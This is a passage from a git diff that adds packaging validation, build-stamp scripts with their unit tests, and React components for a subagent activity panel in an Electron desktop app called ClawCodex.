+  delete env.CLAWCODEX_DESKTOP_CLAWCODEX_ROOT
+
+  const child = spawn(APP.binary, [], {
+    cwd: os.homedir(),
+    detached: true,
+    env,
+    stdio: 'ignore'
+  })
+  child.unref()
+
+  console.log('\nFresh install sandbox:')
+  console.log(`  root: ${sandbox}`)
+  console.log(`  electron userData: ${userDataDir}`)
+  console.log(`  CLAWCODEX_CONFIG_DIR: ${clawcodexHome}`)
+  console.log(`  cwd: ${cwd}`)
+
+  return { runtimeRoot: path.join(clawcodexHome, 'clawcodex', 'venv') }
+}
+
+// Validate the packaged bundle matches the thin-installer architecture:
+//   - The ClawCodex Python payload is NOT shipped (it's fetched at first
+//     launch via install.ps1's stage protocol).
+//   - install-stamp.json IS shipped in resources/ with a valid commit + branch.
+//   - node-pty IS shipped inside app.asar.unpacked/dist/node_modules/node-pty
+//     with package.json + lib/ + at least one .node binary (the renderer's
+//     integrated terminal needs this; see Phase 1F.6).
+//   - The renderer's dist/index.html is reachable (either unpacked or
+//     inside app.asar).
+function validateBundle() {
+  if (!exists(APP.binary)) {
+    die(`Missing packaged app binary: ${APP.binary}`)
+  }
+
+  // Negative assertion: the OLD fat-installer factory payload must NOT be
+  // present anymore. If a stray ship of clawcodex_cli sneaks back in we want
+  // to fail loudly rather than re-introduce the 400MB delta we just removed.
+  const staleFactoryMarker = path.join(APP.resourcesPath, 'clawcodex', 'clawcodex_cli', 'main.py')
+  if (exists(staleFactoryMarker)) {
+    die(
+      `Thin-installer regression: factory-payload file should NOT be in the package: ${staleFactoryMarker}`
+    )
+  }
+
+  // Positive assertion: install-stamp.json carries a sane commit + branch
+  const stampPath = path.join(APP.resourcesPath, 'install-stamp.json')
+  if (!exists(stampPath)) {
+    die(`Missing install-stamp.json (required for first-launch bootstrap pinning): ${stampPath}`)
+  }
+  let stamp
+  try {
+    stamp = JSON.parse(fs.readFileSync(stampPath, 'utf8'))
+  } catch (err) {
+    die(`install-stamp.json is not valid JSON: ${err.message}`)
+  }
+  if (!stamp.commit || typeof stamp.commit !== 'string' || stamp.commit.length < 7) {
+    die(`install-stamp.json is missing a usable commit field: ${JSON.stringify(stamp)}`)
+  }
+  if (!stamp.branch || typeof stamp.branch !== 'string') {
+    die(`install-stamp.json is missing the branch field: ${JSON.stringify(stamp)}`)
+  }
+
+  // Positive assertion: node-pty native deps shipped
+  const native = expectedNativeDepPaths()
+  if (!exists(native.packageJson)) {
+    die(`Missing node-pty package.json in app.asar.unpacked: ${native.packageJson}`)
+  }
+  if (!exists(native.libIndex)) {
+    die(`Missing node-pty lib/index.js in app.asar.unpacked: ${native.libIndex}`)
+  }
+  // The native binary lands in prebuilds/<platform>-<arch>/ (downloaded prebuild)
+  // OR build/Release/ (compiled from source). stage-native-deps.mjs copies
+  // whichever is present, so accept either.
+  const nativeBinaryDirs = [native.prebuildsDir, native.buildReleaseDir].filter(exists)
+  if (nativeBinaryDirs.length === 0) {
+    die(
+      `Missing node-pty native binary dir for ${PLATFORM}-${ARCH}: neither ` +
+        `${native.prebuildsDir} nor ${native.buildReleaseDir} exists`
+    )
+  }
+  const nodeBinaries = nativeBinaryDirs.flatMap(dir =>
+    fs.readdirSync(dir).filter(name => name.endsWith('.node'))
+  )
+  if (nodeBinaries.length === 0) {
+    die(`No .node native binaries found in: ${nativeBinaryDirs.join(', ')}`)
+  }
+  // Darwin requires a runtime-execed spawn-helper alongside pty.node; missing
+  // it manifests as "ENOENT: spawn-helper" on first pty.spawn() call.
+  if (PLATFORM === 'darwin') {
+    const spawnHelper = nativeBinaryDirs
+      .map(dir => path.join(dir, 'spawn-helper'))
+      .find(exists)
+    if (!spawnHelper) {
+      die(`Missing node-pty spawn-helper (required on darwin) in: ${nativeBinaryDirs.join(', ')}`)
+    }
+  }
+
+  // Renderer payload check (either unpacked or in the asar)
+  if (exists(APP.unpackedDistIndex)) {
+    return { stamp, nodeBinaries }
+  }
+  if (!exists(APP.asarPath)) {
+    die(`Missing renderer payload: neither ${APP.unpackedDistIndex} nor ${APP.asarPath} exists`)
+  }
+  const files = listPackage(APP.asarPath)
+  // Normalize separators because @electron/asar's listPackage returns
+  // backslash-prefixed entries on Windows ('\\dist\\index.html') and
+  // forward-slash on Unix.
+  const normalized = files.map(f => f.replace(/\\/g, '/').replace(/^\/+/, ''))
+  if (!normalized.includes('dist/index.html')) {
+    die(`Missing renderer payload file in app.asar: ${APP.asarPath} (expected dist/index.html)`)
+  }
+  return { stamp, nodeBinaries }
+}
+
+function printArtifacts(options = {}) {
+  const runtimeRoot = options.runtimeRoot || VENV_ROOT
+  const stamp = options.stamp
+
+  console.log('\nDesktop artifacts:')
+  console.log(`  app: ${APP.appPath}`)
+  if (PLATFORM === 'darwin') {
+    console.log(`  dmg: ${resolveDmgPath()}`)
+  } else if (PLATFORM === 'win32') {
+    const exe = resolveNsisPath()
+    if (exe) console.log(`  installer: ${exe}`)
+  }
+  console.log(`  runtime: ${runtimeRoot}`)
+  if (stamp) {
+    console.log(`  install-stamp: ${stamp.commit.slice(0, 12)} on ${stamp.branch}`)
+  }
+  if (options.nodeBinaries && options.nodeBinaries.length > 0) {
+    console.log(`  node-pty binaries: ${options.nodeBinaries.join(', ')}`)
+  }
+}
+
+function help() {
+  console.log(`Usage:
+  npm run test:desktop:existing  # build packaged app, launch with normal PATH/existing ClawCodex
+  npm run test:desktop:fresh     # build packaged app, launch with temp userData + CLAWCODEX_CONFIG_DIR
+  npm run test:desktop:dmg       # (macOS only) build DMG and open it
+  npm run test:desktop:nsis      # (win32 only) build NSIS installer
+  npm run test:desktop:all       # build installer, validate app payload, print paths
+
+Fast rerun (skip rebuild if the packaged app already exists):
+  CLAWCODEX_DESKTOP_SKIP_BUILD=1 npm run test:desktop:fresh
+`)
+}
+
+ensurePlatformBuilds()
+
+if (MODE === 'existing') {
+  ensurePackagedApp()
+  const result = validateBundle()
+  openApp()
+  printArtifacts(result)
+} else if (MODE === 'fresh') {
+  ensurePackagedApp()
+  const result = validateBundle()
+  printArtifacts({ ...launchFresh(), ...result })
+} else if (MODE === 'dmg') {
+  ensureDmg()
+  openDmg()
+  printArtifacts()
+} else if (MODE === 'nsis') {
+  ensureNsis()
+  printArtifacts(validateBundle())
+} else if (MODE === 'all') {
+  if (PLATFORM === 'darwin') {
+    ensureDmg()
+  } else if (PLATFORM === 'win32') {
+    ensureNsis()
+  } else {
+    ensurePackagedApp()
+  }
+  printArtifacts(validateBundle())
+} else {
+  help()
+}
diff --git a/ui-desktop/scripts/utils.mjs b/ui-desktop/scripts/utils.mjs
new file mode 100644
index 000000000..7010213ec
--- /dev/null
+++ b/ui-desktop/scripts/utils.mjs
@@ -0,0 +1,8 @@
+
+import { pathToFileURL } from 'node:url';
+
+// returns true if the passsed file is being invoked from node,
+// not imported.
+export function isMain(importMetaUrl) {
+    return   importMetaUrl === pathToFileURL(process.argv[1]).href;
+}
\ No newline at end of file
diff --git a/ui-desktop/scripts/write-build-stamp.mjs b/ui-desktop/scripts/write-build-stamp.mjs
new file mode 100644
index 000000000..51683787d
--- /dev/null
+++ b/ui-desktop/scripts/write-build-stamp.mjs
@@ -0,0 +1,176 @@
+/**
+ * Writes apps/desktop/build/install-stamp.json with the git ref the desktop
+ * .exe should pin to at first-launch bootstrap time.  This file ships inside
+ * the packaged app via electron-builder's extraResources entry and is read
+ * by electron/main.ts to drive the install.ps1 stage bootstrap flow.
+ *
+ * Schema (subject to bump via STAMP_SCHEMA_VERSION):
+ *   {
+ *     "schemaVersion": 1,
+ *     "commit":        "<40-char SHA>",
+ *     "branch":        "<branch name>",
+ *     "builtAt":       "<ISO 8601 UTC timestamp>",
+ *     "dirty":         true|false,
+ *     "source":        "ci" | "local" | "fallback"
+ *   }
+ *
+ * Source preference order:
+ *   1. CI env vars ($GITHUB_SHA / $GITHUB_REF_NAME) -- avoid edge cases with
+ *      shallow clones, detached HEADs, etc. in CI.
+ *   2. Local `git rev-parse` against the parent repo (../..).
+ *   3. Fallback stamp for local/personal builds from non-git source trees
+ *      (ZIP extract, interrupted clone with no HEAD, etc.).
+ *
+ * Dev / out-of-repo builds without git produce an explicit fallback stamp
+ * rather than aborting the whole build.  Bootstrap treats the all-zero
+ * commit as unpinned and follows the branch instead of fetching a fake SHA.
+ */
+
+import { mkdirSync, writeFileSync } from "fs"
+import { resolve, join, relative } from "path"
+import { execSync } from "child_process"
+
+import { isMain } from "./utils.mjs"
+
+const STAMP_SCHEMA_VERSION = 1
+
+/** All-zero placeholder used when no real commit can be resolved. */
+export const FALLBACK_COMMIT = "0000000000000000000000000000000000000000"
+export const FALLBACK_BRANCH = "main"
+
+const DESKTOP_ROOT = resolve(import.meta.dirname, "..")
+const REPO_ROOT = resolve(DESKTOP_ROOT, "..")
+const OUT_DIR = join(DESKTOP_ROOT, "build")
+const OUT_FILE = join(OUT_DIR, "install-stamp.json")
+
+function tryExec(cmd, opts) {
+  try {
+    return execSync(cmd, { encoding: "utf8", stdio: ["ignore", "pipe", "ignore"], ...opts }).trim()
+  } catch {
+    return null
+  }
+}
+
+export function fromCI(env = process.env) {
+  const sha = env.GITHUB_SHA
+  if (!sha) return null
+  const branch = env.GITHUB_REF_NAME || env.GITHUB_HEAD_REF || null
+  return {
+    commit: sha,
+    branch: branch,
+    dirty: false, // CI builds from a checkout-of-ref by definition
+    source: "ci"
+  }
+}
+
+export function fromLocalGit(repoRoot = REPO_ROOT, execFn = tryExec) {
+  const sha = execFn("git rev-parse HEAD", { cwd: repoRoot })
+  if (!sha) return null
+  const branch = execFn("git rev-parse --abbrev-ref HEAD", { cwd: repoRoot })
+  // `git status --porcelain -uno` is empty iff tracked files match HEAD.
+  // We exclude untracked files (-uno) intentionally: a developer who's
+  // checked out an installer scratch dir alongside the repo shouldn't
+  // poison every local build with a [DIRTY] stamp.  We DO care about
+  // tracked-but-modified files because those mean the .exe content
+  // differs from the commit being pinned.
+  const status = execFn("git status --porcelain -uno", { cwd: repoRoot })
+  const dirty = status !== null && status.length > 0
+  return {
+    commit: sha,
+    branch: branch === "HEAD" ? null : branch, // detached HEAD -> null
+    dirty: dirty,
+    source: "local"
+  }
+}
+
+export function fromFallback(branch = FALLBACK_BRANCH) {
+  // Non-git builds (ZIP download, bootstrap installer without a resolvable
+  // HEAD) cannot determine a real commit.  Use a placeholder so local /
+  // personal builds can still complete.  The desktop bootstrap treats the
+  // all-zero commit as "unknown" and falls back to an unpinned branch
+  // bootstrap instead of trying to fetch a non-existent GitHub commit.
+  return {
+    commit: FALLBACK_COMMIT,
+    branch: branch || FALLBACK_BRANCH,
+    dirty: false,
+    source: "fallback"
+  }
+}
+
+/**
+ * Resolve the install stamp without writing it.  Pure enough for unit tests:
+ * inject env / execFn / repoRoot to simulate CI, local git, or no-git trees.
+ */
+export function resolveStamp({
+  env = process.env,
+  repoRoot = REPO_ROOT,
+  execFn = tryExec,
+  fallbackBranch = FALLBACK_BRANCH
+} = {}) {
+  return fromCI(env) || fromLocalGit(repoRoot, execFn) || fromFallback(fallbackBranch)
+}
+
+export function isFallbackCommit(commit) {
+  return typeof commit === "string" && /^0{7,40}$/.test(commit)
+}
+
+function main() {
+  const stamp = resolveStamp()
+  if (!stamp || !stamp.commit) {
+    // Should not happen — fromFallback() always provides a commit.
+    console.error(
+      "[write-build-stamp] ERROR: could not determine git commit.\n" +
+        "  - $GITHUB_SHA not set\n" +
+        "  - `git rev-parse HEAD` failed at " +
+        REPO_ROOT +
+        "\n" +
+        "Packaged builds require a git ref to pin first-launch install.ps1\n" +
+        "against. Run from a git checkout or set $GITHUB_SHA explicitly."
+    )
+    process.exit(1)
+  }
+
+  if (isFallbackCommit(stamp.commit)) {
+    console.warn(
+      "[write-build-stamp] WARNING: no git commit found (non-git checkout?).\n" +
+        "  Using placeholder commit — the packaged app will fall back to the\n" +
+        "  default branch for first-launch bootstrap.  For production builds,\n" +
+        "  run from a git checkout or set $GITHUB_SHA."
+    )
+  }
+
+  if (stamp.dirty) {
+    console.warn(
+      "[write-build-stamp] WARNING: working tree is dirty.\n" +
+        "  Pinning to " +
+        stamp.commit.slice(0, 12) +
+        " but the packaged code may differ from that commit.\n" +
+        "  Commit your changes before publishing this build."
+    )
+  }
+
+  const payload = {
+    schemaVersion: STAMP_SCHEMA_VERSION,
+    commit: stamp.commit,
+    branch: stamp.branch,
+    builtAt: new Date().toISOString(),
+    dirty: stamp.dirty,
+    source: stamp.source
+  }
+
+  mkdirSync(OUT_DIR, { recursive: true })
+  writeFileSync(OUT_FILE, JSON.stringify(payload, null, 2) + "\n", "utf8")
+  console.log(
+    "[write-build-stamp] wrote " +
+      relative(REPO_ROOT, OUT_FILE) +
+      " -> " +
+      stamp.commit.slice(0, 12) +
+      (stamp.branch ? " (" + stamp.branch + ")" : "") +
+      (stamp.dirty ? " [DIRTY]" : "") +
+      (stamp.source === "fallback" ? " [FALLBACK]" : "")
+  )
+}
+
+if (isMain(import.meta.url)) {
+  main()
+}
diff --git a/ui-desktop/scripts/write-build-stamp.test.mjs b/ui-desktop/scripts/write-build-stamp.test.mjs
new file mode 100644
index 000000000..53c88e237
--- /dev/null
+++ b/ui-desktop/scripts/write-build-stamp.test.mjs
@@ -0,0 +1,86 @@
+import assert from 'node:assert/strict'
+import { test } from 'vitest'
+
+import {
+  FALLBACK_BRANCH,
+  FALLBACK_COMMIT,
+  fromCI,
+  fromFallback,
+  fromLocalGit,
+  isFallbackCommit,
+  resolveStamp
+} from './write-build-stamp.mjs'
+
+test('fromCI reads GITHUB_SHA / GITHUB_REF_NAME', () => {
+  assert.deepEqual(
+    fromCI({ GITHUB_SHA: 'a'.repeat(40), GITHUB_REF_NAME: 'release' }),
+    { commit: 'a'.repeat(40), branch: 'release', dirty: false, source: 'ci' }
+  )
+  assert.equal(fromCI({}), null)
+})
+
+test('fromLocalGit returns null when git rev-parse fails', () => {
+  const stamp = fromLocalGit('/tmp/not-a-repo', () => null)
+  assert.equal(stamp, null)
+})
+
+test('fromLocalGit reads HEAD + branch + dirty status', () => {
+  const calls = []
+  const execFn = (cmd) => {
+    calls.push(cmd)
+    if (cmd === 'git rev-parse HEAD') return 'b'.repeat(40)
+    if (cmd === 'git rev-parse --abbrev-ref HEAD') return 'main'
+    if (cmd === 'git status --porcelain -uno') return ' M apps/desktop/package.json'
+    return null
+  }
+  assert.deepEqual(fromLocalGit('/repo', execFn), {
+    commit: 'b'.repeat(40),
+    branch: 'main',
+    dirty: true,
+    source: 'local'
+  })
+  assert.ok(calls.includes('git rev-parse HEAD'))
+})
+
+test('fromFallback uses the all-zero placeholder commit', () => {
+  assert.deepEqual(fromFallback(), {
+    commit: FALLBACK_COMMIT,
+    branch: FALLBACK_BRANCH,
+    dirty: false,
+    source: 'fallback'
+  })
+  assert.equal(isFallbackCommit(FALLBACK_COMMIT), true)
+  assert.equal(isFallbackCommit('a'.repeat(40)), false)
+})
+
+test('resolveStamp prefers CI over local git over fallback', () => {
+  const ci = resolveStamp({
+    env: { GITHUB_SHA: 'c'.repeat(40), GITHUB_REF_NAME: 'main' },
+    execFn: () => 'should-not-run'
+  })
+  assert.equal(ci.source, 'ci')
+  assert.equal(ci.commit, 'c'.repeat(40))
+
+  const local = resolveStamp({
+    env: {},
+    execFn: (cmd) => {
+      if (cmd === 'git rev-parse HEAD') return 'd'.repeat(40)
+      if (cmd === 'git rev-parse --abbrev-ref HEAD') return 'main'
+      if (cmd === 'git status --porcelain -uno') return ''
+      return null
+    }
+  })
+  assert.equal(local.source, 'local')
+  assert.equal(local.commit, 'd'.repeat(40))
+  assert.equal(local.dirty, false)
+})
+
+test('resolveStamp falls back when neither CI nor git is available', () => {
+  const stamp = resolveStamp({ env: {}, execFn: () => null })
+  assert.deepEqual(stamp, {
+    commit: FALLBACK_COMMIT,
+    branch: FALLBACK_BRANCH,
+    dirty: false,
+    source: 'fallback'
+  })
+})
diff --git a/ui-desktop/src/app/agents/index.tsx b/ui-desktop/src/app/agents/index.tsx
new file mode 100644
index 000000000..eb74a2d2a
--- /dev/null
+++ b/ui-desktop/src/app/agents/index.tsx
@@ -0,0 +1,393 @@
+import { useStore } from '@nanostores/react'
+import { type ReactNode, useEffect, useMemo, useState } from 'react'
+
+import { useElapsedSeconds } from '@/components/chat/activity-timer'
+import { ActivityTimerText } from '@/components/chat/activity-timer-text'
+import { usePaneVisible } from '@/components/pane-shell/pane-visibility'
+import { Codicon } from '@/components/ui/codicon'
+import { FadeText } from '@/components/ui/fade-text'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { type Translations, useI18n } from '@/i18n'
+import { compactNumber } from '@/lib/format'
+import { AlertCircle, CheckCircle2 } from '@/lib/icons'
+import { useEnterAnimation } from '@/lib/use-enter-animation'
+import { cn } from '@/lib/utils'
+import {
+  $subagentsBySession,
+  allSubagents,
+  buildSubagentTree,
+  type SubagentNode,
+  type SubagentStatus,
+  type SubagentStreamEntry
+} from '@/store/subagents'
+
+import { Panel, PanelEmpty, PanelHeader } from '../overlays/panel'
+
+// Mirrors statusGlyph() in tool-fallback.tsx so subagent rows speak the
+// same visual vocabulary as the chat tool blocks.
+function statusGlyph(status: SubagentStatus, a: Translations['agents']): ReactNode {
+  if (status === 'running' || status === 'queued') {
+    return (
+      <GlyphSpinner
+        ariaLabel={a.running}
+        className="size-3.5 shrink-0 text-[0.95rem] text-muted-foreground/80"
+        spinner="breathe"
+      />
+    )
+  }
+
+  if (status === 'failed' || status === 'interrupted') {
+    return <AlertCircle aria-label={a.failed} className="size-3.5 shrink-0 text-destructive" />
+  }
+
+  return <CheckCircle2 aria-label={a.done} className="size-3.5 shrink-0 text-emerald-600/85 dark:text-emerald-400/85" />
+}
+
+const STREAM_TONE: Record<SubagentStreamEntry['kind'], string> = {
+  progress: 'text-muted-foreground/75',
+  summary: 'text-foreground/85',
+  thinking: 'text-muted-foreground/80',
+  tool: 'text-foreground/85'
+}
+
+function streamGlyph(entry: SubagentStreamEntry): ReactNode {
+  if (entry.isError) {
+    return <AlertCircle aria-hidden className="mt-0.5 size-3 shrink-0 text-destructive" />
+  }
+
+  if (entry.kind === 'tool') {
+    return <span aria-hidden className="mt-0.5 size-1.5 shrink-0 rounded-full bg-foreground/55" />
+  }
+
+  if (entry.kind === 'summary') {
+    return <CheckCircle2 aria-hidden className="mt-0.5 size-3 shrink-0 text-emerald-600/85 dark:text-emerald-400/85" />
+  }
+
+  if (entry.kind === 'thinking') {
+    return (
+      <span aria-hidden className="font-mono text-[0.7rem] leading-none text-muted-foreground/70">
+        …
+      </span>
+    )
+  }
+
+  return <span aria-hidden className="mt-0.5 size-1 shrink-0 rounded-full bg-muted-foreground/55" />
+}
+
+interface AgentsViewProps {
+  onClose: () => void
+}
+
+export function AgentsView({ onClose }: AgentsViewProps) {
+  const { t } = useI18n()
+  const subagentsBySession = useStore($subagentsBySession)
+
+  // Aggregate every session, matching the status-bar indicator — a subagent
+  // running in a background session must still be visible here, or the two
+  // desync ("Agents N running" vs an empty tree).
+  const tree = useMemo(() => buildSubagentTree(allSubagents(subagentsBySession)), [subagentsBySession])
+
+  return (
+    <Panel closeLabel={t.agents.close} onClose={onClose}>
+      {tree.length === 0 ? (
+        <PanelEmpty description={t.agents.emptyDesc} icon="hubot" title={t.agents.emptyTitle} />
+      ) : (
+        <>
+          <PanelHeader subtitle={t.agents.subtitle} title={t.agents.title} />
+          <SubagentTree tree={tree} />
+        </>
+      )}
+    </Panel>
+  )
+}
+
+const fmtDuration = (seconds: number | undefined, a: Translations['agents']) => {
+  if (!seconds || seconds <= 0) {
+    return ''
+  }
+
+  if (seconds < 60) {
+    return a.durationSeconds(seconds.toFixed(1))
+  }
+
+  const m = Math.floor(seconds / 60)
+  const s = Math.round(seconds % 60)
+
+  return a.durationMinutes(m, s)
+}
+
+const fmtTokens = (value: number | undefined, a: Translations['agents']) =>
+  value ? a.tokens(compactNumber(value)) : ''
+
+// Distinct contract from coarseElapsed: rounds to the second (this ticks live),
+// and hours are unbounded ("25h", never "1d"). Kept local on purpose.
+const fmtAge = (updatedAt: number, nowMs: number, a: Translations['agents']) => {
+  const s = Math.max(0, Math.round((nowMs - updatedAt) / 1000))
+
+  if (s < 2) {
+    return a.ageNow
+  }
+
+  if (s < 60) {
+    return a.ageSeconds(s)
+  }
+
+  const m = Math.floor(s / 60)
+
+  return m < 60 ? a.ageMinutes(m) : a.ageHours(Math.floor(m / 60))
+}
+
+const flatten = (nodes: readonly SubagentNode[]): SubagentNode[] =>
+  nodes.flatMap(node => [node, ...flatten(node.children)])
+
+interface RootGroup {
+  id: string
+  delegationIndex: number
+  nodes: SubagentNode[]
+  taskCount: number
+}
+
+function groupDelegations(roots: readonly SubagentNode[]): RootGroup[] {
+  const groups: RootGroup[] = []
+  let n = 0
+
+  for (const node of roots) {
+    const prev = groups.at(-1)
+    const prevTail = prev?.nodes.at(-1)
+    const closeInTime = prevTail ? Math.abs(node.startedAt - prevTail.startedAt) <= 5_000 : false
+    const sameShape = prev && node.taskCount > 1 && prev.taskCount === node.taskCount
+    const uniqueStep = prev ? !prev.nodes.some(item => item.taskIndex === node.taskIndex) : false
+
+    if (prev && sameShape && closeInTime && uniqueStep) {
+      prev.nodes.push(node)
+
+      continue
+    }
+
+    if (node.taskCount > 1) {
+      n += 1
+      groups.push({ id: `delegation-${n}`, delegationIndex: n, nodes: [node], taskCount: node.taskCount })
+
+      continue
+    }
+
+    groups.push({ id: node.id, delegationIndex: 0, nodes: [node], taskCount: node.taskCount })
+  }
+
+  return groups
+}
+
+function SubagentTree({ tree }: { tree: SubagentNode[] }) {
+  const { t } = useI18n()
+  const flat = useMemo(() => flatten(tree), [tree])
+  const groups = useMemo(() => groupDelegations(tree), [tree])
+  const [nowMs, setNowMs] = useState(() => Date.now())
+
+  const active = flat.filter(n => n.status === 'running' || n.status === 'queued').length
+  const failed = flat.filter(n => n.status === 'failed' || n.status === 'interrupted').length
+  const tools = flat.reduce((sum, n) => sum + (n.toolCount ?? 0), 0)
+  const files = flat.reduce((sum, n) => sum + n.filesRead.length + n.filesWritten.length, 0)
+  const tokens = flat.reduce((sum, n) => sum + (n.inputTokens ?? 0) + (n.outputTokens ?? 0), 0)
+  const cost = flat.reduce((sum, n) => sum + (n.costUsd ?? 0), 0)
+
+  const visible = usePaneVisible()
+
+  useEffect(() => {
+    if (active <= 0 || !visible || typeof window === 'undefined') {
+      return
+    }
+
+    const id = window.setInterval(() => setNowMs(Date.now()), 500)
+
+    return () => window.clearInterval(id)
+  }, [active, visible])
+
+  if (tree.length === 0) {
+    return (
+      <div className="grid place-items-center gap-3 py-12 text-center">
+        <Codicon className="text-muted-foreground/60" name="hubot" size="1.5rem" />
+        <p className="text-sm font-medium text-foreground/90">{t.agents.emptyTitle}</p>
+        <p className="max-w-md text-xs leading-relaxed text-muted-foreground/75">{t.agents.emptyDesc}</p>
+      </div>
+    )
+  }
+
+  const summary = [
+    t.agents.agentsCount(flat.length),
+    active > 0 ? t.agents.activeCount(active) : '',
+    failed > 0 ? t.agents.failedCount(failed) : '',
+    tools > 0 ? t.agents.toolsCount(tools) : '',
+    files > 0 ? t.agents.filesCount(files) : '',
+    tokens > 0 ? fmtTokens(tokens, t.agents) : '',
+    cost > 0 ? `$${cost.toFixed(2)}` : ''
+  ].filter(Boolean)
+
+  return (
+    <div className="flex min-h-0 min-w-0 flex-1 flex-col gap-4 overflow-hidden">
+      <p className="shrink-0 text-[0.7rem] text-muted-foreground/70">{summary.join(' · ')}</p>
+      <div className="min-h-0 min-w-0 flex-1 overflow-x-hidden overflow-y-auto overscroll-contain pr-1">
+        <div className="flex min-w-0 flex-col gap-6">
+          {groups.map(group => (
+            <DelegationGroup group={group} key={group.id} nowMs={nowMs} />
+          ))}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+function DelegationGroup({ group, nowMs }: { group: RootGroup; nowMs: number }) {
+  const { t } = useI18n()
+
+  if (group.nodes.length === 1 && group.taskCount <= 1) {
+    return <SubagentRow node={group.nodes[0]!} nowMs={nowMs} />
+  }
+
+  const activeWorkers = group.nodes.filter(n => n.status === 'running' || n.status === 'queued').length
+
+  return (
+    <section className="grid min-w-0 gap-3">
+      <p className="text-[0.66rem] font-medium uppercase tracking-wider text-muted-foreground/70">
+        {group.delegationIndex > 0 ? t.agents.delegation(group.delegationIndex) : ''}{' '}
+        <span className="text-muted-foreground/50">·</span> {t.agents.workers(group.nodes.length)}
+        {activeWorkers > 0 ? <span className="text-primary/85"> · {t.agents.workersActive(activeWorkers)}</span> : null}
+      </p>
+      <div className="grid min-w-0 gap-4">
+        {group.nodes.map(node => (
+          <SubagentRow key={node.id} node={node} nowMs={nowMs} />
+        ))}
+      </div>
+    </section>
+  )
+}
+
+function StreamLine({
+  active,
+  entry,
+  parentRunning,
+  rowKey
+}: {
+  active: boolean
+  entry: SubagentStreamEntry
+  parentRunning: boolean
+  rowKey: string
+}) {
+  const { t } = useI18n()
+  const enterRef = useEnterAnimation(parentRunning, `subagent-stream:${rowKey}`)
+  const isMono = entry.kind === 'tool'
+  const tone = entry.isError ? 'text-destructive' : STREAM_TONE[entry.kind]
+
+  return (
+    <div className="flex min-w-0 items-baseline gap-2 text-[0.72rem] leading-relaxed" ref={enterRef}>
+      <span className="flex h-[0.95rem] shrink-0 items-center">{streamGlyph(entry)}</span>
+      <span className={cn('min-w-0 flex-1 wrap-anywhere', tone, isMono && 'font-mono text-[0.69rem]')}>
+        {entry.text}
+        {active ? (
+          <GlyphSpinner
+            ariaLabel={t.agents.streaming}
+            className="ml-1 inline-block size-2.5 align-middle text-muted-foreground/70"
+            spinner="breathe"
+          />
+        ) : null}
+      </span>
+    </div>
+  )
+}
+
+function SubagentRow({ node, depth = 0, nowMs }: { node: SubagentNode; depth?: number; nowMs: number }) {
+  const { t } = useI18n()
+  const running = node.status === 'running' || node.status === 'queued'
+  const elapsed = useElapsedSeconds(running, `subagent:${node.id}`)
+
+  const durationSeconds =
+    typeof node.durationSeconds === 'number' ? Math.max(0, Math.round(node.durationSeconds)) : elapsed
+
+  const [open, setOpen] = useState(() => running || depth < 2)
+  const enterRef = useEnterAnimation(true, `subagent-row:${node.id}`)
+
+  useEffect(() => {
+    if (running) {
+      setOpen(true)
+    }
+  }, [running])
+
+  const visibleRows = open ? node.stream.slice(-10) : node.stream.slice(-2)
+  const fileLines = [...node.filesWritten.map(p => `+ ${p}`), ...node.filesRead.map(p => `· ${p}`)]
+
+  const subtitle = [
+    node.model,
+    fmtDuration(durationSeconds, t.agents),
+    node.toolCount ? t.agents.toolsCount(node.toolCount) : '',
+    fmtTokens((node.inputTokens ?? 0) + (node.outputTokens ?? 0), t.agents),
+    t.agents.updatedAgo(fmtAge(node.updatedAt, nowMs, t.agents))
+  ].filter(Boolean)
+
+  return (
+    <div className={cn('grid min-w-0 max-w-full gap-2', depth > 0 && 'pl-4')} data-slot="tool-block" ref={enterRef}>
+      <button
+        aria-expanded={open}
+        className="group flex w-full min-w-0 items-start gap-2.5 text-left"
+        onClick={() => setOpen(v => !v)}
+        type="button"
+      >
+        <span className="mt-0.5 flex h-[1.1rem] shrink-0 items-center">{statusGlyph(node.status, t.agents)}</span>
+        <span className="flex min-w-0 flex-1 flex-col gap-0.5">
+          <span
+            className={cn(
+              'wrap-anywhere text-[0.82rem] font-medium leading-[1.1rem] text-foreground/90 transition-colors group-hover:text-foreground',
+              running && 'shimmer text-foreground/65'
+            )}
+          >
+            {node.goal}
+          </span>
+          {subtitle.length > 0 ? (
+            <FadeText className="text-[0.66rem] leading-[1.05rem] text-muted-foreground/65">
+              {subtitle.join(' · ')}
+            </FadeText>
+          ) : null}
+        </span>
+        {running ? <ActivityTimerText className="mt-1 shrink-0 text-[0.6rem]" seconds={durationSeconds} /> : null}
+      </button>
+
+      {visibleRows.length > 0 ? (
+        <div className="grid min-w-0 gap-1 pl-6" data-selectable-text="true">
+          {visibleRows.map((entry, i) => (
+            <StreamLine
+              active={running && i === visibleRows.length - 1}
+              entry={entry}
+              key={`${entry.kind}:${entry.at}:${i}`}
+              parentRunning={running}
+              rowKey={`${node.id}:${entry.kind}:${entry.at}`}
+            />
+          ))}
+        </div>
+      ) : null}
+
+      {open && fileLines.length > 0 ? (
+        <div className="grid min-w-0 gap-0.5 pl-6" data-selectable-text="true">
+          <p className="text-[0.58rem] font-medium tracking-wider text-muted-foreground/60 uppercase">
+            {t.agents.files}
+          </p>
+          {fileLines.slice(0, 8).map(line => (
+            <p className="wrap-break-word font-mono text-[0.67rem] leading-relaxed text-muted-foreground/80" key={line}>
+              {line}
+            </p>
+          ))}
+          {fileLines.length > 8 ? (
+            <p className="font-mono text-[0.67rem] leading-relaxed text-muted-foreground/65">
+              {t.agents.moreFiles(fileLines.length - 8)}
+            </p>
+          ) : null}
+        </div>
+      ) : null}
+
+      {node.children.length > 0 ? (
+        <div className="grid min-w-0 gap-3 pl-6">
+          {node.children.map(child => (
+            <SubagentRow depth={depth + 1} key={child.id} node={child} nowMs={nowMs} />
+          ))}
+        </div>
+      ) : null}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/artifacts/artifact-utils.ts b/ui-desktop/src/app/artifacts/artifact-utils.ts
new file mode 100644
index 000000000..b174c965b
--- /dev/null
+++ b/ui-desktop/src/app/artifacts/artifact-utils.ts
@@ -0,0 +1,282 @@
+import { readDesktopFileDataUrl } from '@/lib/desktop-fs'
+import { filePathFromMediaPath, isRemoteGateway, mediaExternalUrl } from '@/lib/media'
+import type { SessionInfo, SessionMessage } from '@/types/clawcodex'
+
+export type ArtifactKind = 'image' | 'file' | 'link'
+export type ArtifactFilter = 'all' | ArtifactKind
+export const ARTIFACT_FILTERS: readonly ArtifactFilter[] = ['all', 'image', 'file', 'link']
+
